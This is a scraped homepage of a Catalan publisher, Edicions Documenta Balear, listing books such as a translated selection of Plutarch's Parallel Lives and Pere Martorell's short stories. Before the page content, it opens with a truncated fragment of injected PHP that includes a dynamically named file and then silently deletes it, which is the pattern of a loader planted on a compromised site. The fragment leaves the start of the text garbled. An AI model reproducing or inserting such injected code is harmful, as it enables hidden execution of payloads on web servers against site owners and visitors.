");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - Home
Alguns serveis

Segueix-nos

                                 &n ...

Comparteix

                                 &n ...

Necessitau algun fragment de les nostres obres?

                                              ...

TÍTOLS EN PREPARACIÓ

                                          &nb ...

Tota l'actualitat

Vides Paral·leles

Plutarc

Conquestes, intrigues, misèries, glòries i passions amoroses de quatre grans figures de l’antiguitat.


¿No heu volgut mai establir semblances entre les vides de dues persones que no eren família ni tan sols no es varen conèixer? L’autor clàssic Plutarc, al segle II dC ja ho va fer. Plutarc és un grec de naixement i de cultura i alhora un ciutadà de l’Imperi romà que va tenir la idea de confrontar la biografia d’alguns destacats personatges grecs amb la d’altres tants coneguts romans. D’aquí neix la col·lecció de les Vides paral·leles. L’autor, segons diu ell mateix, vol forjar la biografia a partir d’anècdotes, perquè els lectors en puguin copsar el caràcter.
En aquesta selecció oferim íntegres dues de les vint-i-tres parelles de biografies que conformen les Vides Paral·leles que ens han pervingut: d’una banda, la d’Alexandre el gran, que fa parella amb la de Juli Cèsar i, d’altra banda, Demetri, l’anomenat Poliorcetes, o sia el destructor de ciutats, acarat amb Marc Antoni, el gran rival d’Octavi August.
D’una manera molt planera, la professora Antònia Soler ens acosta a l’autor i ens obre la porta, amb aquesta traducció, a un món de conquestes, d’intrigues, de plans i projectes, de misèries i de glòries, de passions amoroses (algunes de les quals fatals, com és el cas de Cleòpatra VII d’Egipte) i d’anècdotes -algunes de conegudes i populars, d’altres no tant-, amb unes biografies que han educat generacions i generacions d’europeus al llarg dels segles.

Llegir un fragment de la Introducció en PDF

L’home horitzontal i altres relats

Martorell Vallespir, Pere

Deu narracions en què la història, la música, l’òpera o el teatre són protagonistes.

L’home horitzontal és el relat que dóna títol al llibre que el lector té a les seves mans, un conjunt de deu narracions en què la història, la música, l’òpera o el teatre són protagonistes. L’autor recrea el captiveri de Jovellanos al castell de Bellver, el retrobament entre Fortunio Bonanova i Orson Wells a San Francisco, la presència del destructor anglès Devonshire a les acaballes de la Guerra Civil al port de Maó, i fins i tot gosa acabar la novel·la inconclusa de Thomas Mann Les confessions de Fèlix Krull. I és que Pere Martorell ­-ho assenyala Emili Manzano al pròleg- ha afrontat l’escriptura d’aquests contes deixant-se endur per vides alienes i imaginant-ne d’altres que ben bé podrien ser la pròpia.


L’autor juga lliurement amb grans figures de la literatura (Fernando Pessoa) i amb personatges històrics de gran volada (Jovellanos) o de perfil esvaït (Joaquim Wanrell); s’atreveix a imaginar la continuació de la meravellosa novel·la Confessions de Felix Krull, que Thomas Mann va deixar inacabada, amb la mateixa desimboltura i naturalitat que imagina un cruent episodi de la Guerra Civil a Menorca o inventa personatges com un al·lot de casa benestant enverinat per la vocació del teatre o un carter que somia escriure un llibre impossible sobre una alteració en el procés evolutiu dels humans. Tot neix d’un llibre o tot ens duu de cap a ell. La cultura i la vida. (Del pròleg d'Emili Manzano).


Llegir un fragment del Pròleg i l'Índex en PDF




Relat de l’economia menorquina

López Casasnovas, Guillem; Méndez Vidal, Alfons

El present i el futur del benestar econòmic i social de l’illa.

Vida i obra de Jaume Roca

Serrano Pujol, Maria

La biografia d’un dels dramaturgs mallorquins més prolífers i populars del vuitcents.

Los Javaloyas

Ceballos Lliteras, Antoni

La història del conjunt musical més veterà del panorama musical espanyol.